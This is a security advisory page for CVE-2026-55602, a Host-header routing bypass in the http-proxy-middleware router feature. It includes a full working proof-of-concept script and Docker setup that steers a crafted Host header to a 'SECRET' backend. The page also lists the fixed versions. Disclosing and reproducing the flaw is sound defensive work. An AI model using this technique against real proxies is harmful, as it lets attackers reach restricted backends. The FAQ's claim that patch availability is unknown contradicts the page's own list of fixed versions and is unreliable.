CVE-2026-55602: http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass

Published Jun 18, 2026
·
Updated

Summary

http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.

Details

Tested code state:

- validated on tag v4.0.0-beta.5 - corresponding commit: 339f09ede860197807d4fd99ed9020fa5d0bd358

Relevant code locations:

- src/router.ts - src/http-proxy-middleware.ts

Affected public API:

- createProxyMiddleware({ router: { 'host/path': 'http://target' } })

Code explanation:

When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:

ts hostAndPath.indexOf(key) > -1

That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:

txt localhost:3000/api

but the attacker-controlled host is:

txt evillocalhost:3000

and the request path is:

txt /api

The concatenated attacker-controlled string:

txt evillocalhost:3000/api

still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.

Exploit path:

1. the application enables the documented proxy-table router feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted Host header 3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying 4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching 5. the request is proxied to the wrong backend

PoC

Create these files in the same working directory and run:

bash bash ./run.sh

File: run.sh

bash #!/usr/bin/env bash set -euo pipefail

SCRIPTDIR="$(cd "$(dirname "${BASHSOURCE[0]}")" && pwd)" REPOURL="https://github.com/chimurai/http-proxy-middleware.git" REPOREF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPTDIR}/.tmp-repro.XXXXXX")" TARGETREPODIR="${WORKDIR}/repo" REPRODIR="${WORKDIR}/reproduction" IMAGETAG="http-proxy-middleware-router-bypass-poc"

cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT

echo "[a3] cloning target repository" git clone --quiet "${REPOURL}" "${TARGETREPODIR}" git -C "${TARGETREPODIR}" checkout --quiet "${REPOREF}"

mkdir -p "${REPRODIR}" cp "${SCRIPTDIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPTDIR}/verify.mjs" "${REPRODIR}/verify.mjs"

echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGETAG}" "${WORKDIR}"

echo "[a3] running verification" docker run --rm "${IMAGETAG}" node /work/reproduction/verify.mjs

File: Dockerfile

Dockerfile FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile

COPY repo /work/repo RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction

File: verify.mjs

js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTERKEY = 'localhost:3000/api'; const CRAFTEDHOST = 'evillocalhost:3000';

function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); }

function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); }

function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); }

const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); });

const secretBackend = http.createServer((req, res) => { res.end('SECRET'); });

const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTERKEY]: 'http://127.0.0.1:3102', }, });

const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NOPROXY'); }); });

try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok');

const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(STEP baseline-route body=${baseline.body});

const crafted = await request('/api', CRAFTEDHOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTEDHOST, ROUTERKEY.split('/')[0]); console.log(STEP crafted-route body=${crafted.body});

console.log('RESULT reproduced hostheaderinjection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); }

This PoC starts:

- one default backend returning DEFAULT - one alternate backend returning SECRET - one proxy using:

js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTERKEY]: 'http://127.0.0.1:3102', }, });

It then sends:

1. a baseline request to /api with Host: safe.example:3000 2. a crafted request to /api with Host: evillocalhost:3000

Observed result from the validated PoC:

- baseline request: STEP baseline-route body=DEFAULT - crafted request: STEP crafted-route body=SECRET - success marker: RESULT reproduced hostheaderinjection router substring match bypass

The PoC is considered successful only if:

1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host

Impact

This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.

Other sources

http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.

MITRE

Affected Software

5 affected componentsFixes available
npm/http-proxy-middleware>=4.0.0<4.1.0
4.1.0
npm/http-proxy-middleware>=0.16.0<3.0.6
3.0.6
chimurai http-proxy-middleware>=0.16.0<2.0.10
chimurai http-proxy-middleware>=3.0.0<3.0.6
chimurai http-proxy-middleware>=4.0.0<4.1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/http-proxy-middleware to a version that resolves this vulnerability.

    Fixed in 4.1.0
  2. Upgrade

    Upgrade npm/http-proxy-middleware to a version that resolves this vulnerability.

    Fixed in 3.0.6
  3. Upgrade

    Upgrade http-proxy-middleware to a version that resolves this vulnerability.

    Fixed in 2.0.10
  4. Upgrade

    Upgrade http-proxy-middleware to a version that resolves this vulnerability.

    Fixed in 3.0.6
  5. Upgrade

    Upgrade http-proxy-middleware to a version that resolves this vulnerability.

    Fixed in 4.1.0
  6. Compensating control

    Add a compensating network/access control to prevent external clients from sending arbitrary Host headers that could be interpreted by the proxy’s `router` host+path rules (e.g., restrict inbound traffic so only the expected Host values/virtual hosts can reach the proxy on port 3000).

Event History

Jun 18, 2026
Advisory Published
via GitHub·01:06 PM
Data Sourced
via GitHub·01:06 PM
DescriptionWeaknessAffected Software
Jun 22, 2026
CVE Published
via MITRE·03:58 PM
Data Sourced
via MITRE·03:58 PM
DescriptionWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-55602?

CVE-2026-55602 has a risk score of 52, indicating a moderate severity vulnerability.

2

How does CVE-2026-55602 exploit input validation issues?

CVE-2026-55602 exploits input validation by using unanchored substring matching that allows crafted ‘Host’ headers to bypass security checks.

3

What software is affected by CVE-2026-55602?

CVE-2026-55602 affects the npm package http-proxy-middleware.

4

How can I mitigate the risks associated with CVE-2026-55602?

To mitigate the risks of CVE-2026-55602, validate and sanitize input headers thoroughly in requests to your proxy.

5

Is there a patch available for CVE-2026-55602?

As of the publication date, check the official repository or advisory for any available patches related to CVE-2026-55602.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203